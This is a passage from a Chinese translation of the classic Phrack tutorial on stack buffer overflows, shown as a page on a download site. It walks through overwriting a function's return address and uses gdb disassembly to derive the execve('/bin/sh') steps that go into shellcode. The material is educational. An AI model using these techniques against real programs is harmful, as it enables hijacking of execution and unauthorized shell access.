⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 缓冲溢出原理.htm

📁 标题:缓冲区溢出的原理和实践(Phrack) 作者:Sinbad
💻 HTM
📖 第 1 页 / 共 4 页
字号:
   int *ret;

   ret = buffer1 + 12;
   (*ret) += 8;
}

void main() {
  int x;

  x = 0;
  function(1,2,3);
  x = 1;
  printf("%d\n",x);
}
------------------------------------------------------------------------------

    我们把buffer1[]的地址加上12, 所得的新地址是返回地址储存的地方. 我们想跳过
赋值语句而直接执行printf调用. 如何知道应该给返回地址加8个字节呢? 我们先前使用
过一个试验值(比如1), 编译该程序, 祭出工具gdb:

------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>:       pushl  %ebp
0x8000491 <main+1>:     movl   %esp,%ebp
0x8000493 <main+3>:     subl   $0x4,%esp
0x8000496 <main+6>:     movl   $0x0,0xfffffffc(%ebp)
0x800049d <main+13>:    pushl  $0x3
0x800049f <main+15>:    pushl  $0x2
0x80004a1 <main+17>:    pushl  $0x1
0x80004a3 <main+19>:    call   0x8000470 <function>
0x80004a8 <main+24>:    addl   $0xc,%esp
0x80004ab <main+27>:    movl   $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>:    movl   0xfffffffc(%ebp),%eax
0x80004b5 <main+37>:    pushl  %eax
0x80004b6 <main+38>:    pushl  $0x80004f8
0x80004bb <main+43>:    call   0x8000378 <printf>
0x80004c0 <main+48>:    addl   $0x8,%esp
0x80004c3 <main+51>:    movl   %ebp,%esp
0x80004c5 <main+53>:    popl   %ebp
0x80004c6 <main+54>:    ret
0x80004c7 <main+55>:    nop
------------------------------------------------------------------------------

    我们看到当调用function()时, RET会是0x8004a8, 我们希望跳过在0x80004ab的赋值
指令. 下一个想要执行的指令在0x8004b2. 简单的计算告诉我们两个指令的距离为8字节.


                                  Shell Code
                                  ~~~~~~~~~~
    现在我们可以修改返回地址即可以改变程序执行的流程, 我们想要执行什么程序呢?
在大多数情况下我们只是希望程序派生出一个shell. 从这个shell中, 可以执行任何我
们所希望的命令. 但是如果我们试图破解的程序里并没有这样的代码可怎么办呢? 我们
怎么样才能将任意指令放到程序的地址空间中去呢? 答案就是把想要执行的代码放到我
们想使其溢出的缓冲区里, 并且覆盖函数的返回地址, 使其指向这个缓冲区. 假定堆栈
的起始地址为0xFF, S代表我们想要执行的代码, 堆栈看起来应该是这样:

内存低     DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     内存高
地址       89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     地址
           buffer                sfp   ret   a     b     c

<------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
           ^                            |
           |____________________________|
堆栈顶部                                                          堆栈底部
                                                                
    派生出一个shell的C语言代码是这样的:
  
shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>

void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
 
    为了查明这程序变成汇编后是个什么样子, 我们编译它, 然后祭出调试工具gdb. 记住
在编译的时候要使用-static标志, 否则系统调用execve的真实代码就不会包括在汇编中,
取而代之的是对动态C语言库的一个引用, 真正的代码要到程序加载的时候才会联入.

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:    pushl  $0x0
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
0x8000149 <main+25>:    pushl  %eax
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
0x800014d <main+29>:    pushl  %eax
0x800014e <main+30>:    call   0x80002bc <__execve>
0x8000153 <main+35>:    addl   $0xc,%esp
0x8000156 <main+38>:    movl   %ebp,%esp
0x8000158 <main+40>:    popl   %ebp
0x8000159 <main+41>:    ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx
0x80002c0 <__execve+4>: movl   $0xb,%eax
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
0x80002ce <__execve+18>:        int    $0x80
0x80002d0 <__execve+20>:        movl   %eax,%edx
0x80002d2 <__execve+22>:        testl  %edx,%edx
0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:        negl   %edx
0x80002d8 <__execve+28>:        pushl  %edx
0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:        popl   %edx
0x80002df <__execve+35>:        movl   %edx,(%eax)
0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
0x80002e6 <__execve+42>:        popl   %ebx
0x80002e7 <__execve+43>:        movl   %ebp,%esp
0x80002e9 <__execve+45>:        popl   %ebp
0x80002ea <__execve+46>:        ret
0x80002eb <__execve+47>:        nop
End of assembler dump.
------------------------------------------------------------------------------

    下面我们看看这里究竟发生了什么事情. 先从main开始研究:
    
------------------------------------------------------------------------------
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp

        这是例程的准备工作. 首先保存老的帧指针, 用当前的堆栈指针作为新的帧指针,
        然后为局部变量保留空间. 这里是:
        
        char *name[2];
        
        即2个指向字符串的指针. 指针的长度是一个字, 所以这里保留2个字(8个字节)的
        空间.
        
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)

        我们把0x80027b8(字串"/bin/sh"的地址)这个值复制到name[]中的第一个指针, 这
        等价于:  
        
        name[0] = "/bin/sh";
        
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)                            
                                                        
       
        我们把值0x0(NULL)复制到name[]中的第二个指针, 这等价于:
        
        name[1] = NULL;
        
        对execve()的真正调用从下面开始:
        
0x8000144 <main+20>:    pushl  $0x0

        我们把execve()的参数以从后向前的顺序压入堆栈中, 这里从NULL开始.
        
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax

        把name[]的地址放到EAX寄存器中.
        
0x8000149 <main+25>:    pushl  %eax

        接着就把name[]的地址压入堆栈中.
        
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
        
        把字串"/bin/sh"的地址放到EAX寄存器中
        
0x800014d <main+29>:    pushl  %eax

        接着就把字串"/bin/sh"的地址压入堆栈中
        
0x800014e <main+30>:    call   0x80002bc <__execve>

        调用库例程execve(). 这个调用指令把IP(指令指针)压入堆栈中.
------------------------------------------------------------------------------

    现在到了execve(). 要注意我们使用的是基于Intel的Linux系统. 系统调用的细节随
操作系统和CPU的不同而不同. 有的把参数压入堆栈中, 有的保存在寄存器里. 有的使用
软中断跳入内核模式, 有的使用远调用(far call). Linux把传给系统调用的参数保存在
寄存器里, 并且使用软中断跳入内核模式.           

------------------------------------------------------------------------------
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx

        例程的准备工作.
        
0x80002c0 <__execve+4>: movl   $0xb,%eax

        把0xb(十进制的11)放入寄存器EAX中(原文误为堆栈). 0xb是系统调用表的索引
        11就是execve.

0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx

        把"/bin/sh"的地址放到寄存器EBX中.

0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx

        把name[]的地址放到寄存器ECX中.
        
0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx

        把空指针的地址放到寄存器EDX中.

0x80002ce <__execve+18>:        int    $0x80

        进入内核模式.
------------------------------------------------------------------------------  
                                 

    由此可见调用execve()也没有什么太多的工作要做, 所有要做的事情总结如下:
    
        a) 把以NULL结尾的字串"/bin/sh"放到内存某处.
        b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word)
.
        c) 把0xb放到寄存器EAX中.
        d) 把字串"/bin/sh"的地址放到寄存器EBX中.
        e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.
        (注: 原文d和e步骤把EBX和ECX弄反了)
        f) 把空长字的地址放到寄存器EDX中.
        g) 执行指令int $0x80. 
        
    但是如果execve()调用由于某种原因失败了怎么办? 程序会继续从堆栈中读取指令, 
这时的堆栈中可能含有随机的数据! 程序执行这样的指令十有八九会core dump. 如果execv
e
调用失败我们还是希望程序能够干净地退出. 为此必须在调用execve之后加入一个exit
系统调用. exit系统调用在汇编语言看起来象什么呢?

exit.c
------------------------------------------------------------------------------
#include <stdlib.h>

void main() {
        exit(0);
}
------------------------------------------------------------------------------
 

------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:      pushl  %ebp
0x800034d <_exit+1>:    movl   %esp,%ebp

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -